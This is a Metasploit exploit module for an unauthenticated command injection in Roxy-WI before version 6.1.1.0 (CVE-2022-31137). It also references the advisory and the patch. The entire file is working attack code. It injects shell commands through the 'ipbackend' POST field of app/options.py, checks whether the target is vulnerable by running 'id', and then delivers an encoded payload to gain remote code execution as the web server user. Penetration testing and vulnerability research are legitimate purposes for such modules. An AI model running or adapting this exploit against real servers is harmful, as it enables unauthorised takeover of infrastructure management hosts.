## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Roxy-WI < 6.1.1.0 Unauthenticated Command Injection RCE', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user. Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nuri Çilengir ' # Author & Metasploit module ], 'References' => [ ['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory ['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information ['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch ['CVE', '2022-31137'] ], 'DefaultOptions' => { 'SSL' => true, 'WfsDelay' => 25 }, 'Privileged' => false, 'Platform' => ['python', 'unix'], 'Arch' => [ARCH_PYTHON, ARCH_CMD], 'Targets' => [['Roxy-WI < 6.1.1.0', {}]], 'DisclosureDate' => '2022-07-06', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) ] ) end def execute_command(cmd, _opts = {}) return send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'app', 'options.py'), 'vars_post' => { 'serv' => '127.0.0.1', 'ipbackend' => "\"; #{cmd} ;#", 'alert_consumer' => Rex::Text.rand_text_alpha_lower(7), 'backend_server' => '127.0.0.1' } }, 10 ) rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT fail_with(Failure::Unreachable, "Couldn't connect to #{peer}, check your connection!") end def check print_status "Checking if #{peer} is vulnerable!" res = execute_command('id') return CheckCode::Unknown("Didn't receive a response from the target.") unless res return CheckCode::Safe("Check URI Path, unexpected HTTP response code: #{res.code}.") unless res.code == 200 if res && res.body =~ /uid=\d+\(.+\)/ return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.') end CheckCode::Safe('The target did not respond with an expected payload.') end def exploit print_status 'Generating payload.' print_status 'Trying to detect command injection vulnerability.' begin execute_command(payload.encoded) rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT fail_with(Failure::Unreachable, "Couldn't connect to #{peer}, check your connection!") else print_good('Exploit successfully executed.') end end end